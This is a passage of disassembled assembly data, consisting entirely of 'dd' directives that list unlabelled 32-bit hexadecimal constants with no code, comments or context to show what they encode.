		dd 944B086Bh, 0A9F4FD82h, 98D5C3CBh, 84FC5527h,	0A12D0A1Fh
		dd 541E3E1Ah, 246A77D9h, 0D65822B1h, 55FAB3D0h,	16454A3Ah
		dd 48611C17h, 25CD5F85h, 1CA92A57h, 0C1A54B23h,	316D1DC1h
		dd 1B7250E5h, 3D04D68Eh, 14896D62h, 6909D5FBh, 9D03693h
		dd 0F6F1499Fh, 0BDB182B6h, 0F4AA2BF2h, 994EF6AAh, 0C9D2E8Fh
		dd 0CBF0DABCh, 0BBEB4963h, 0E8D6986Eh, 0D331B7E1h, 0CE2FC4F5h
		dd 504988DEh, 687E39A7h, 0D60ABA78h, 6C103785h,	587E7E3Fh
		dd 11426E59h, 86D603ABh, 0AC32D181h, 31342AABh,	5F13637Bh
		dd 4D956D23h, 2C75C7F4h, 0C6DA0E0Dh, 89415683h,	0BA6C4D14h
		dd 0D45429FCh, 60A44F09h, 2713581Ah, 0FC0CA1E6h, 0D7D6116Fh
		dd 3BA5C63Fh, 162D5FABh, 27BB711Fh, 0E1F49753h,	0B910D8C5h
		dd 0F24AFDCEh, 0C7BF4061h, 7F97C137h, 0A593115Ah, 542D165Fh
		dd 7156AE76h, 3C226F9Fh, 1E6998B0h, 0BA9E3B48h,	0B0BF76EEh
		dd 0C9CEB5F4h, 0F50BDBCBh, 0DD95746Ch, 306BB05Fh, 2D17C8D6h
		dd 60C03B18h, 129404BAh, 2B412D2Dh, 0CB55CAFFh,	0F948DCE3h
		dd 95BA4EA2h, 34E7A66Ch, 85BC6C4Ch, 931D2AE7h, 6A38E444h
		dd 80494CAEh, 0E74A25E0h, 0E30A509Fh, 6A14C0D5h, 630ED92Ah
		dd 0E50CFF6Eh, 0BB183BD7h, 4E118F04h, 414A4A4h,	494C8337h
		dd 988D9F64h, 30B59633h
		dd 39E55A3Fh, 317889Ah,	0E0787FE2h, 4C3CFAFh, 0E3C7364Eh
		dd 6430425Fh, 0FBB19945h, 22A73546h, 0B95D0F54h, 17504711h
		dd 2FCF0C4Ch, 0BEDBF452h, 6C028A7Fh, 0C545F5FBh, 41091C8Fh
		dd 0AC71B38Bh, 0C9C0E39Eh, 3DBCC27Dh, 847D166Eh, 0CD048F77h
		dd 0C30F22F7h, 0CE9564BFh, 7C08090h, 545D6522h,	0D0BC2D51h
		dd 46E0B457h, 0B741235Fh, 0F17BF745h, 83C51EFBh, 0E5C35DEAh
		dd 0B29017EFh, 4D1474E8h, 64B65B41h, 0ACFD6A5Dh, 0CF3E4D88h
		dd 0F9F545Ah, 0D8D7D20Ch, 0CC46192Fh, 0F5034BF3h, 0B04B3F4h
		dd 7416088Fh, 3BF7EA9Ch, 0CE91EE0Eh, 3DB0936Ch,	749AD0A1h
		dd 2A31FC67h, 4096DBC7h, 5DEA89A0h, 41F27221h, 94D95CD9h
		dd 0DBAFABD6h, 8E5C1514h, 0D56A7C5Fh, 0E20284C1h, 0A21B44E2h
		dd 37D1229Bh, 0CFAA4622h, 0F2B37AECh, 3035A079h, 0C6F2F8FCh
		dd 0EFD912ADh, 5AFCAF68h, 0BE262551h, 3C2B8E7Ah, 0B5E05C1Eh
		dd 168203F7h, 3A62F736h, 6D632F7Ch, 9F07A93Bh, 0C5CE3F7Eh
		dd 47D8D70Bh, 50679783h, 0DAE1CD14h, 0A87E27E5h, 37463A33h
		dd 0CE61265Bh, 969C905Fh, 9EEEF8B7h, 0BD2AB8FDh, 1AA9CE14h
		dd 55BFDF1Ah, 8D727683h, 0B4FABA84h, 0C5337C02h, 3FC74A8Dh
		dd 77CFC289h, 0B9292E20h, 29178811h, 0C8C21200h, 0B085743Ah
		dd 0C25636B6h, 4E45A2FDh, 0C1CF5048h, 0E0E04314h, 33EB6D0Ah
		dd 325B789h, 1DD021A1h,	0DE3808Dh, 0E40FC29Eh, 7912AD82h
		dd 0AAC22E83h, 5A2C1B34h, 3656FCDDh, 3EAAB0FCh,	9F6C5809h
		dd 0D200758Eh, 177E2FE2h, 7DA1A287h, 0D87C9351h, 41DDE846h
		dd 2660BB97h, 8C80FAC4h, 3434658Dh, 2778D592h, 0DE89B68Ah
		dd 788A76BFh, 0B0DE03F8h, 5AD98329h, 92742F5Fh,	7E811BE4h
		dd 0AE44FC1Fh, 148BEC3h, 1320D6F5h, 3C4D342Ch, 0EFFF67B4h
		dd 50524069h, 0D4AD73BEh, 15FAC18Ah, 3E671FDEh,	1C4F88A9h
		dd 6DEEF9BDh, 0A11104E4h, 7D2BDB9Ch, 3D992A84h,	0A15C48CBh
		dd 6B4FA55Fh, 9B8FFBD9h, 91E5F01Ah, 6DFAF49Fh, 4BBF131Ch
		dd 0FB7E77F2h, 13532EC0h, 0BCA91F8Fh, 60DB82CDh, 5A21CEFEh
		dd 7845D7CFh, 0F582C6F2h, 8BFA6D52h, 0F33EE5CCh, 0A68D3E79h
		dd 5AAE4415h, 6C44444Eh, 4F8E7E5Dh, 59F08F8Ah, 354D183Bh
		dd 4E72BD5Eh, 0FC2F1353h, 0A5A33510h, 7C1F0BF4h, 86A662Dh
		dd 0BBD17438h, 0A9A4D33Ah, 5BDF0F2h, 72EA68F7h,	0CE89F14Eh
		dd 0F77929F7h, 0E75953C0h, 4F069D79h, 47815DA1h, 0D8A2FFA7h
		dd 5D8E9255h, 0EDC33722h, 159C12D1h, 0DC525EE8h, 29F10FA7h
		dd 0CC7F61F6h, 799F3BC7h, 48220BF0h, 0D1984F0Dh, 0D5797C5Dh
		dd 8CF8A44h, 2D3A24ECh,	14D9DB1Ah, 0AED4B8C8h, 0C88F9D29h
		dd 1425CB83h, 0AC3C43F1h, 0C4300D26h, 49BDFEh, 0EC670F21h
		dd 1E83D4C3h, 60792D88h, 9E75DBE4h, 23080909h, 8918615Dh
		dd 85EF32D8h, 0F90AAAB4h, 965A3C2h, 99E11D97h, 0B653DE78h
		dd 90D7C9A9h, 0B9003CADh, 2D4D08CAh, 88899895h,	8785C4BAh
		dd 0E76CAAFh, 0CC55C2AEh, 599CF81h, 4810B6E2h, 77D2C7E5h
		dd 0D5E866D7h, 6F0CF140h, 71EC0D49h, 34FAAD5Ch,	797BFFECh
		dd 0E376EDB4h, 99178BF0h, 0DFAF00B3h, 8397CC67h, 0F210C89Dh
		dd 0E655196Dh, 0B9716773h, 949B71C2h, 0C4EDC6A8h, 0DAF9F6AEh
		dd 65619A83h, 6B94CB5Dh, 52A6D4B7h, 0FB11D64h, 78C53B2h
		dd 3BB07D5Eh, 0E9C452B1h, 1C8FBBDBh, 0F1708107h, 4E813781h
		dd 861FFF1Fh, 0E17F54h,	0D05E7451h, 37536C2Ah, 0FFB8F3FCh
		dd 13552C40h, 22F1872Dh, 0C2255BA1h, 4A2FA750h,	5AE268F5h
		dd 73A2B015h, 86DEF46h,	2C05F522h, 7A110C21h, 0F6E52005h
		dd 0E1AE05E0h, 9FA9EB9Ah, 5292DE78h, 0B28F525Eh, 0D8EAE4E9h
		dd 1C2CB78Dh, 17C842D5h, 1A203D27h, 105D5690h, 7169647h
		dd 9AF3BCAEh, 31FE1F81h, 7EB69C51h, 53B40BD3h, 9FEB5BA1h
		dd 4261493Ch, 751C5AF8h, 7CFFF51Bh, 3C3ECE19h, 3F01EA72h
		dd 3F9DE8D4h, 7EAD4CE6h, 55AE98Ch, 0D8684598h, 6B56988Dh
		dd 0E1F89115h, 0C5C6F2D6h, 42EDCB86h, 25FEB39Dh, 0D17F5B69h
		dd 8B51D4BFh, 0FC5FDAA7h, 0A41C7210h, 58F36F14h, 0CC2A063Dh
		dd 2989721Ah, 9F6C27FBh, 0BEABE0F1h, 203EC211h,	66964B94h
		dd 0BCA8D6FDh, 14EF065Eh, 4B2F9671h, 0FB013701h, 0F63EE4C6h
		dd 0E43D2BD0h, 68747432h, 8BBD788Ch, 2B5D0E30h,	0A3B99559h
		dd 787C2BE3h, 73FABE9Dh, 8477C867h, 0C6D8AFC3h,	2A12CFEFh
		dd 0CB06D2Fh, 93AC26C7h, 0B5D6E1FAh, 99A1BF71h,	0D23059CFh
		dd 13849BFDh, 257DB399h, 41072168h, 577283CBh, 472C718Fh
		dd 0C57090E3h, 0FC93F1D3h, 0B46EBDC8h, 32DA17F3h, 0AB4C732Dh
		dd 0C48E9B13h, 7D8DD11Ah, 0C2D20BF3h, 0F35E93BDh, 275A4C55h
		dd 2741AD6Fh, 0CBA1E5FCh, 4C31B5B3h, 0B20DF82Ah, 5046BBA3h
		dd 546BA65Dh, 739BDEDCh, 0CDDF3A12h, 47117703h,	31438E15h
		dd 0C557DD86h, 0CA60132Dh, 0AF52CD04h, 0A26FDE69h, 0F7D2BEB5h
		dd 77EE50E4h, 0BA6FD11Eh, 6B1A7368h, 0BF3A3659h, 266B5202h
		dd 99528D4Ah, 0D08D03D1h, 61E66698h, 0E6C4C55Bh, 0EBF62371h
		dd 0FCF9B87Bh, 0AAAD1A88h, 4B92C78Bh, 0F5DE18D7h, 8355106Bh
		dd 3BAE745Fh, 791CD8F3h, 68EA4F95h, 0AFB65BCDh,	406ECB6Fh
		dd 0F5588A0h, 6ED6CEBEh, 0A5559E28h, 2964D5BAh,	922B881Bh
		dd 2D484BADh, 528A25DEh, 9306DA47h, 0C75FBB3Bh,	1DC50F37h
		dd 0A8944565h, 0A7CD721Bh, 0E3C7CFC1h, 0B4390E68h, 0A2BDFCC3h
		dd 2664F76Ch, 5AB56342h, 2BE41561h, 908AF38Ch, 1C30BA45h
		dd 91B95EBAh, 45BF30DDh, 270BC71Eh, 27A710FCh, 391420FBh
		dd 26624BE8h, 3FE43F18h, 29B9E991h, 0D792792h, 0DB54FC6Ch
		dd 346942D6h, 47061D25h, 176902CBh, 619C2A11h, 0C0589AAAh
		dd 89820843h, 2BBD6A3Dh, 7139E634h, 84879ED3h, 29ACEFCh
		dd 9762F3D4h, 8BD56AB9h, 89502ED6h, 0AC6C481Eh,	9B08F6ABh
		dd 3AE0B2AFh, 17300AB9h, 0C9547C73h, 340925Dh, 611B4DE5h
		dd 265591FAh, 769DB0E8h, 7F50BC2Ah, 6678CCDEh, 26773125h
		dd 2C82B946h, 523B03EFh, 429D40A6h, 771538F8h, 0D21F6F04h
		dd 0BD30A97Eh, 0F2DD8BF5h, 9A473781h, 6B5B2072h, 0FD360AEDh
		dd 38BE63CBh, 2A5ACED1h, 67026A5Dh, 358CC7C4h, 0E74D67B7h
		dd 0EA8E7D80h, 8A9B5F3Fh, 2F253651h, 0BEE8EB72h, 8973F663h
		dd 677B3C9Ah, 0EF264624h, 4C585355h, 1E34A757h,	0CCEE6BDCh
		dd 0CF4B7DA2h, 3168C6A5h, 7B4A73A5h, 14EBF0E4h,	0D694AD52h
		dd 8A276F71h, 0CAAD2372h, 57614E07h, 28AD3D2Fh,	45927DD7h
		dd 5FE1FE7Dh, 2FE62FABh, 0EB6A66A8h, 0DC9A027Ah, 0CB38F3C9h
		dd 850D027Ch, 1472AEE0h, 0FCD792A9h, 29A6AF1Ch,	0DA3EDAD1h
		dd 40A12850h, 0E294846h, 0FBAA8EE7h, 8C60A274h,	0FAB43744h
		dd 0FBF7938h, 91D5AAE8h, 0FC52B873h, 0CFB238F0h, 7D777AD2h
		dd 0E0F01EA9h, 49416BFBh, 0DD47A120h, 661FA863h, 2E267BF2h
		dd 38B986D3h, 7FB905F0h, 1B5370D3h, 5E897C8h, 2B720EF2h
		dd 0DEF9A257h, 6B64D18Eh, 0EA902D12h, 36BBD3B2h, 73746C08h
		dd 0EB01D0E6h, 4086881Eh, 0D46DADF7h, 0B42AB7AEh, 1B1B62DBh
		dd 6B5E55ADh, 56EB8437h, 6C830418h, 2FEE03F6h, 584E2BF9h
		dd 0A4FB350Dh, 377C3BB2h, 4332E410h, 61F7BC22h,	6B5B4B1Ah
		dd 3FEB2791h, 86E21854h, 2FB7FDA3h, 65241480h, 9FAD7754h
		dd 6B46F83Bh, 0BBE8FCC8h, 14AB332Bh, 6CAB2A4Dh,	45FE6DDBh
		dd 7147A440h, 0C0BD75B5h
		dd 0D8205C8Ah, 1A308C69h, 1103B1FCh, 0F76AF8FDh, 5978770Fh
		dd 45A306E7h, 67363E08h, 0C6E2B455h, 4303F275h,	0E826816Ch
		dd 45DAD2A4h, 0F8FCD4B0h, 2F845CA1h, 0F1909469h, 0D662E629h
		dd 144DA24Fh, 14B72E9Eh, 75E93CE5h, 6BBF6190h, 0AC72A00Ah
		dd 4B22C184h, 24135109h, 5C5251B5h, 440CE5CDh, 70D84C5Fh
		dd 0E869637Dh, 6258A2E6h, 2603D5CDh, 0F07D8AEEh, 8FFF0BE8h
		dd 343761EDh, 0D9F22F2Fh, 9B187168h, 0FB281FB6h, 8895D1E4h
		dd 0F77B27FFh, 9335A0EBh, 0B65254EDh, 63E8547Ch, 77C257F4h
		dd 372E5BC2h, 694E3E0Eh, 605C7AA0h, 31AC97FBh, 0CBA51E04h
		dd 0CADFCAAEh, 1B2F9003h, 0F76AAABFh, 85CEF89Ah, 0DDF63290h
		dd 38932EB5h, 903AF6EEh, 0CAB03CF5h, 0F36D6599h, 0AEA80CF9h
		dd 309DCA41h, 0CBAA7079h, 0FEA1EFF6h, 3E3ECB42h, 0B5E5308h
		dd 8E0206B9h, 0FAC024F6h, 4E8DBC7Ah, 460A4696h,	0EC0CA2D6h
		dd 0E1DAC8D7h, 60EAB55h, 5AE5293Bh, 0E3319CE4h,	1A804922h
		dd 12BA1304h, 5CE808D7h, 45844055h, 94A1D248h, 51043212h
		dd 0ECE8281Ah, 0F966A30Fh, 46B5B0B8h, 783F94Eh,	51C9083Ch
		dd 0A60A5188h, 84A7E01Bh, 8BA72021h, 0A269154Eh, 0E82A40D3h
		dd 3A08D334h, 4E8A74D1h, 53A19D73h, 24E82745h, 313AE9D1h
		dd 64E8A74h, 5D13149Dh,	0D02480A7h, 51F2A1A9h, 3A08EB2Ah
		dd 0FA1939A2h, 0DABE0C74h, 86483237h, 0ED4C76C0h, 0C8888C2Ah
		dd 0E676D94Bh, 235AC5FFh, 0CF1B413Bh, 74C80E8h,	9CA9B01h
		dd 4533CE6Fh, 0D27F8321h, 83635D8Dh, 0C204A851h, 20F8053h
		dd 28041D75h, 37489E82h, 6A8517A3h, 0F11DCCAh, 0A1E9F0CCh
		dd 73B41ED5h, 1286FAD9h, 35D2E572h, 0C68D2B94h,	0A426894Fh
		dd 98CCE91Eh, 0CC24A9C4h, 88F5F90Fh, 6FD46C0Fh,	5C2D74D4h
		dd 2664CF19h, 4278B19Bh, 5F91AE5Ah, 9175AA8Ch, 9FA636D8h
		dd 94ABEFB7h, 9847FC7Eh, 4E336B04h, 9D3FF448h, 0BFCF8F8h
		dd 36D25E2Eh, 37BB8D39h, 13E63FBAh, 0B752A273h,	541D43Fh
		dd 0C1103EC3h, 9C54F51Bh, 0F61FB251h, 0F7D54D36h, 75628283h
		dd 1F136954h, 0E1E289DFh, 0FF594F4Fh, 4073606Ah, 61579942h
		dd 0FAE76CAFh, 0BAB50EA2h, 6C857C9Bh, 0C9DDD789h, 2A13A211h
		dd 0C749C05Dh, 0A2D1ED0Fh, 0DDA25DEBh, 67C903B6h, 230CB91h
		dd 4B9D257Dh, 8EF5947Ah, 8B5D85BFh, 75B14B69h, 1CCC59B0h
		dd 0E3548F60h, 0B3FEA6EAh, 988BD3E9h, 42102D82h, 7E03EEE1h
		dd 0D6D69BAAh, 0BEACC96Fh, 3FFBF03Ch, 0D0CB7B83h, 57E9F0DDh
		dd 907526F6h, 0C5F7D458h, 0EFCF69C4h, 748C1CD6h, 80C152Bh
		dd 0C6AA496h, 1451AEB8h, 0B1F0A9D0h, 0BAC05F1Ah, 79999485h
		dd 394E164Eh, 529E6922h, 3C33C875h, 56F3E830h, 5472D60Eh
		dd 93460F4Dh, 791EAA20h, 0C7CAE1E0h, 0A90CA65h,	5FF5FE1h
		dd 5C3AEAECh, 0B2DA1549h, 4174B80Bh, 0AA3330A8h, 7125794Bh
		dd 50364C02h, 2B2FA2Bh,	289D6E46h, 7B5BF2CAh, 0B64B1EEBh
		dd 7BA85C7Bh, 65266055h, 0CC3C8A8Bh, 0BE6469DAh, 0BB564CD4h
		dd 0FA083F1Bh, 33510E0Fh, 3A1BEAB2h, 0B5A2B49Bh, 991F19CAh
		dd 9AA87FD5h, 0BBFD3323h, 0A77B4C81h, 0DA86FD2Ah, 5C8FF1h
		dd 0CC67A4B5h, 4DE3F412h, 34DDB0DFh, 3E05AB6Fh,	1B7DCD6Bh
		dd 0F95A398Ah, 9569A53Dh, 0A6ECFBE0h, 86EE847Dh, 2C5E26F6h
		dd 0DCA495CDh, 0C73938BBh, 8DBF2408h, 5FE83044h, 0CEFEB619h
		dd 0E2E10735h, 0A04AA3A1h, 0D81A2367h, 8A56ED90h, 0C5EB8580h
		dd 409D8D25h, 3AE5E49Fh, 0A98678DDh, 9675F03Eh,	3414B85h
		dd 5F683DCCh, 6413B41Bh, 938B85D8h, 0C4A48580h,	0F3475D50h
		dd 0F0604DEAh, 0BFDA59E2h, 0CBBDACB8h, 0C470466Ah, 0FCCA758Dh
		dd 6ACEF97Ah, 25DAB1F5h, 44F08276h, 7D1698FEh, 0A749462Bh
		dd 0C2D8049h, 29F3F73Eh, 47CAEEAAh, 950DEA07h, 66C903B0h
		dd 97FBCE7Dh, 98085DB1h, 3DAAE822h, 2EAB997Eh, 36509F66h
		dd 10C54BB7h, 0FEAA781h, 0B977D0D3h, 5017294Dh,	0B16BF428h
		dd 10876796h, 0BEF55753h, 80AB6CC4h, 0BE58D139h, 0C95D7340h
		dd 0BD7E702Fh, 0C55E7CEAh, 0CADDCACCh, 0DF54D117h, 0FC1EA2Ah
		dd 4FB8AE31h, 0B170FAAAh, 114D0495h, 5DCFC68h, 116EF4C9h
		dd 0C4A80337h, 0BC8E2447h, 0F06BEE8Ah, 0D9941A44h, 0A94A15D8h
		dd 5CD5163Bh, 0B2BFB22Bh, 0F5A207F4h, 0B842DCF9h, 13D18F58h
		dd 27FB6B5Ch, 0F2CDA039h, 0C266C09Ah, 87E14BDEh, 519614Ah
		dd 8F952F1Fh, 7D735AE7h, 157EADFFh, 0DC5F4A19h,	0BF620E2Ah
		dd 0E2D68155h, 581F48BBh, 0A9B4423Bh, 3239D47Eh, 7EA532Dh
		dd 0F59765FEh, 9A5F9832h, 62D87310h, 48BF9F28h,	0C4DB29FCh
		dd 772BFB67h, 0AB095501h, 0C017DD69h, 27D11D27h, 0C0C388F9h
		dd 67F63189h, 2D782155h, 55D26E43h, 4468BB4Dh, 0C639A0E6h
		dd 0BF222681h, 773BCF5Eh, 9989981Fh, 4F31B998h,	0E31B249Fh
		dd 0BE098397h, 90FC9CD1h, 62D45B33h, 0DCE16727h, 0BE0D0DF1h
		dd 0E2F3E658h, 0C5DBA227h, 33F2EDD5h, 72E5AABEh, 7F38BE0Fh
		dd 0DA814DB9h, 31CC4DFEh, 0B6A22A5Dh, 1980947Bh, 0F36B7CA7h
		dd 73B5E52Eh, 0EDBD65B8h, 359A8B52h, 0A8AFDC70h, 0C7E46BEAh
		dd 0F3DE9085h, 46C6551Dh, 62B6FA8Fh, 7E5CA0ABh,	16CCFC4Dh
		dd 46DC0AD8h, 0B2467EEBh, 0DEDA689Ah, 500147BBh, 0BE776E39h
		dd 3C4AC04Dh, 6E209A79h, 0E2B2049Eh, 14B41062h,	0C29D0550h
		dd 38065EEEh, 2970FECBh, 43F19758h, 155132A7h, 60BA1DB1h
		dd 0F86AF0E8h, 0A73CA6CBh, 17D6550Dh, 0D53BF26h, 7F9AF6BAh
		dd 3F4C6E6Bh, 43B5AC84h, 0C8585FEDh, 0CB93E5F8h, 0C8B338FBh
		dd 22BA99CDh, 95E8B4B1h, 0BE5D235Dh, 0AB0CB291h, 80638259h
		dd 0E1C42FA3h, 0BCACC588h, 2B07F3BBh, 0BF0AFEBBh, 9408DB8Bh
		dd 0AA31EC2h, 8B7DC523h, 0EFC6B98Ch, 0DD3A9038h, 8033071Dh
		dd 10926F14h, 9E5B4960h, 0F96D6A44h, 1748FDC0h,	74DE307Ch
		dd 0F6D00B71h, 3CEE1AADh, 40D4E7Ch, 0AE96F80h, 4EFCDE4Dh
		dd 21F514DBh, 0A94C7AD1h, 9C08C80Ah, 5F1361A9h,	0D05964CDh
		dd 8E3A126Bh, 0FDDAC526h, 846B4FA2h, 985ED528h,	576A3C08h
		dd 8596F2F4h, 0D803AB63h, 427E2B25h, 0E3572BADh, 4E32E04Eh
		dd 5417706Ah, 62D24D47h, 0AD175E27h, 0B0D70EE3h, 4BCD6578h
		dd 0BC01FB01h, 0BBC72ED8h, 53439F5Ah, 0EAAD92FDh, 0CC72DD45h
		dd 915CA95Ch, 5165779Bh, 9E9C2A2Ch, 2D95F272h, 72EB6D83h
		dd 9377981Dh, 0DFBE5BDh, 8314A2ADh, 0F03C83CFh,	6F9BF344h
		dd 10032EFDh, 7625D275h, 59E9BC08h, 0AEC07549h,	0B4562B4Ah
		dd 6A4EA955h, 3DA66026h, 0A1A1A179h, 3C8F138Bh,	583194FCh
		dd 180EE43Ah, 8AB82A42h, 0E16587B0h, 68FCBE3Bh,	7840F7E0h
		dd 1F4890BFh, 8A5155E1h, 9166862Ch, 86372EC2h, 0FF3B5A78h
		dd 9A860BDBh, 1E63C7B4h, 0DFE52B7Ch, 92718E2Ch,	5A31960h
		dd 0EA842F4Ah, 260A4425h, 2D60A26Fh, 1502BCE6h,	0D77D6067h
		dd 6D5FCABDh, 754475ABh, 0D74EEDFCh, 174B2295h,	5C2D7E5Fh
		dd 76591C74h, 9EA11179h, 0C397D106h, 0FD1A80F7h, 0E617228h
		dd 0B283F041h, 2EF7BBAFh, 0F9697235h, 0D66F4249h, 0A390CEB2h
		dd 2AE6EAA6h, 494FBB47h, 0D052B7C2h, 150E70DBh,	0E4B3312Dh
		dd 0E9904023h, 328E6A90h, 0EA764668h, 0AC68484Bh, 10E6D7F4h
		dd 1F043E7Ch, 1B2E9AD9h, 0A2E8077Eh, 0B7831A86h, 0EDAFC962h
		dd 0C1E35934h, 0B4B7D93Dh, 0AD25BE3Eh, 75613785h, 9D4DFED5h
		dd 0EAFDF81Bh, 888BFD01h
		dd 63F2A245h, 90715317h, 3FB6119Dh, 0B9E7D431h,	523FC8FDh
		dd 857529F6h, 53CF5410h, 0B82C6EBh, 1F87B2DBh, 4303B7DAh
		dd 0FB672907h, 0FF79EFD9h, 99E4B0C2h, 2363FD17h, 67686F6Bh
		dd 3A641C1Ah, 2380057Bh, 5763141Dh, 93802BF9h, 0D0302149h
		dd 0CDBCAF9Eh, 8894E9A9h, 75BE4CE8h, 0BAB38E4Dh, 142CDBA8h
		dd 0B1759272h, 1C474895h, 0B966A3A9h, 0E1D13753h, 14D33F8Ah
		dd 6F4635EBh, 2F882EFh,	0B28BD066h, 7D98DBADh, 2D6CB579h
		dd 6EE23476h, 971DC7A5h, 6CA5ED5Ch, 85EF7DE6h, 43C26095h
		dd 7E1B7D05h, 712A7893h, 0C1DB79C2h, 77EEAFC5h,	5D13311Ch
		dd 0A21F630Fh, 3BA1AFD4h, 0F17F8DC9h, 0C0B060BCh, 54CBB57Ch
		dd 9653AE71h, 109D53C5h, 896F2BBAh, 0F07FC4EBh,	0D870B92Ah
		dd 676B6EEDh, 34E3B6E8h, 0C1572E3Eh, 3EA230Fh, 6BD34437h
		dd 23B7FBD6h, 0F554A2FCh, 31F59DF1h, 0CF158B6Eh, 560224CCh
		dd 71B0CA71h, 2791C84Dh, 3C7E9BB7h, 4DD2F370h, 9BD2E4BEh
		dd 0D0302FCFh, 0E450EF72h, 8DD72F31h, 31F39934h, 0BD741477h
		dd 0ABEFC85h, 8B5C426Dh, 1D9E3B96h, 0A23A07B4h,	22BB1D7Ah
		dd 814F43BEh, 2BEA6F3h,	3F19F72Ah, 104098Ch, 997A6BDEh
		dd 57DF8FB1h, 2C129284h, 83135029h, 92AB8AB4h, 325D173Bh
		dd 276ADA36h, 0D04E0C9Ch, 12A79C06h, 6FBF7DB1h,	41CB68F3h
		dd 0B883CC5h, 0D6B8EB05h, 6B2C83B9h, 97AFF5CAh,	0A568FB82h
		dd 0EAD66E0Eh, 88F42353h, 0BE8B559Eh, 0B13B8E2Ah, 4BF8886Ah
		dd 0CAD3E355h, 79A2A433h, 0E656FD5Dh, 0B46ECA2Bh, 0F9B20F50h
		dd 5F4724BCh, 80AEC756h, 0A4F9A57Eh, 0F155D821h, 5E52FD35h
		dd 633CEAD1h, 7BFA630h,	62F3A876h, 46177FFAh, 5F38968Dh
		dd 282245A5h, 71DE0716h, 5865BC42h, 0E44E5D1Dh,	3CB935D7h
		dd 7D31E95Ch, 89D870D6h, 789E19D7h, 59EB177Ch, 0AC630978h
		dd 0B41574EFh, 4B2D9F18h, 0CEA8905Bh, 0E6BA097Ch, 0EDD28272h
		dd 161E0BE2h, 8E06D0DEh, 0D1D2B4BFh, 59B01A6Dh,	93C517F9h
		dd 43B216EDh, 7B143621h, 6BEE6926h, 0D29E1BE8h,	67104B9Dh
		dd 3FBC5F63h, 95F6B6C8h, 8346BF05h, 4ABE2D4Ah, 133D11BCh
		dd 299C3A76h, 64487F7h,	0BE2A558Ch, 45412F96h, 0A65DD21Ah
		dd 4D3C5AD8h, 20451E20h, 2C463DDDh, 7D6617CBh, 0E2478586h
		dd 67AB9E6Ch, 0D4339B83h, 0B888D810h, 5954DA5Dh, 5776A5E2h
		dd 0D2290DE8h, 0EAEBAAFFh, 5E3D8CD1h, 0B74BAB46h, 0BA95F2D3h
		dd 38D30E1Ah, 11557C81h, 7DB3F5B0h, 0E4304094h,	59CA1498h
		dd 0BFAF3C39h, 0D162777Ch, 0C55EE343h, 0BE419DA5h, 57FCAA6Dh
		dd 94DC68EBh, 1919556Dh, 7B724064h, 1E596ABBh, 0ED94E002h
		dd 0EEBD8495h, 0A367866Dh, 0C0B64743h, 0E0F083C5h, 4A83EFC9h
		dd 0F86C1F41h, 0DC24E5C0h, 0DB05B99Bh, 5F2BF07h, 0A1FBBEFFh
		dd 6F3E11Dh, 339ADF1Ch,	0D2F323EBh, 75DCDA77h, 0DD3168CDh
		dd 0D3098B48h, 4D374282h, 56EB5488h, 3781352Bh,	0B0148262h
		dd 26ACF7FCh, 0E29FFEE0h, 0FB2AEA1Ch, 5C28A9E4h, 0AFA8EC6Ch
		dd 9CEE05AEh, 94CE712h,	51E3073Bh, 35807F0Fh, 5AE1B973h
		dd 0DF2CF7E3h, 88D2AAADh, 0D68FA680h, 8278616Dh, 24B36AB3h
		dd 26D120A5h, 51854745h, 0C4FFBA65h, 0DF3046BBh, 79D5105Eh
		dd 8AFA0AE1h, 0DBC1AB46h, 309BD1CDh, 374734F1h,	8954389h
		dd 933D6F3Ch, 18AE8DCBh, 53CC975h, 0F19EF2E0h, 52D0DE43h
		dd 9B8B5567h, 0A5665A3Bh, 8A352ED0h, 0A1625B84h, 0F9B0213Eh
		dd 0E4A27ECBh, 294BA44Ah, 0FB457902h, 0C829BF61h, 7F31B8D9h
		dd 6670FAB1h, 9ACCAC5Ch, 0FBA559h, 0BF914466h, 0FC2F75FBh
		dd 6FB48945h, 0BEBDD1C1h, 5BA9CDD0h, 95C85546h,	3EE0B9C0h
		dd 0A902D264h, 0F3E72DE5h, 9A28DC19h, 93899256h, 551BADFDh
		dd 2F1458B8h, 68D247E7h, 88A5C5B8h, 84AE3822h, 70AE83C4h
		dd 0AFE52BF0h, 0BDAEF911h, 5782B4CAh, 0E0CD3CCDh, 88EFEB80h
		dd 85D95C4h, 0DF8B87B8h, 0FEED6D2Fh, 6EED01BFh,	0F66E405Ah
		dd 79FC0FC4h, 0EB4F6A8Ch, 582F8965h, 0F04AD30h,	4BB3B49Dh
		dd 0F13E9475h, 8C56A77Fh, 29D72F5Dh, 0C20376D1h, 4CD4FB6Ah
		dd 0DF31E6BCh, 0AD173D4Ah, 0F728F261h, 106CBF1Ch, 9CAAAE78h
		dd 146366AEh, 0F1F0910h, 0C7D3FEFCh, 0F3171D27h, 0CC0C4BF9h
		dd 7BBFFF55h, 2CAF381Dh, 178BBDD7h, 0F24CF6DAh,	6D8550C4h
		dd 1B8C146Ah, 850929DFh, 97D316B3h, 0D971FBF1h,	0AEF581BFh
		dd 6F4A4497h, 3F07D244h, 0BFE40D24h, 0EDE80ED2h, 0C6C60A2Eh
		dd 7B129B8Ah, 7D1F21CBh, 0AFDECF60h, 9EA1CAF7h,	9F49193Fh
		dd 4CF8CF9Dh, 208F08DCh, 339475B5h, 0B939576Eh,	599087E0h
		dd 0FDC6B0D0h, 0F0D48EAAh, 0A3F58AECh, 0D9C009CDh, 51C097B5h
		dd 764EA659h, 0D5C8F8A7h, 57DA3AB0h, 0B8B7CC67h, 93B75B9h
		dd 5A5054DAh, 0BA189AB4h, 0BAC6E6CCh, 0F979D9ADh, 9AD40521h
		dd 0DBFCBBF6h, 48D13F09h, 733E3FD3h, 6F209C2h, 0A673DAC5h
		dd 250AF33Ch, 2E9D621h,	0D92CBCE6h, 0A7432F3Fh,	0F16E42C7h
		dd 0A778234Ch, 0B46D6FEh, 18E19395h, 705FCA4Dh,	1284D625h
		dd 2591A2A8h, 9E55BB92h, 2DD57371h, 0C6C648Dh, 96F3652Fh
		dd 0DABE8943h, 78CC4F56h, 571F9441h, 0D0D6EB8Ch, 0AA766E76h
		dd 0B31DED16h, 0EB1B03C6h, 4B7E2EE5h, 501860F4h, 0E48DDB6Ah
		dd 0A7536321h, 67BE2F28h, 0DE171EDDh, 0E87A23E4h, 0BBE3FC43h
		dd 3031B7E6h, 90962A50h, 5D21373Fh, 63E3297Ch, 0C0786740h
		dd 6AF950DEh, 7F2E103Eh, 901F7B55h, 0F451AD8Dh,	528FD6C1h
		dd 6FBBB213h, 0D9EE792h, 0A06B6BA6h, 87FB5AD2h,	38017171h
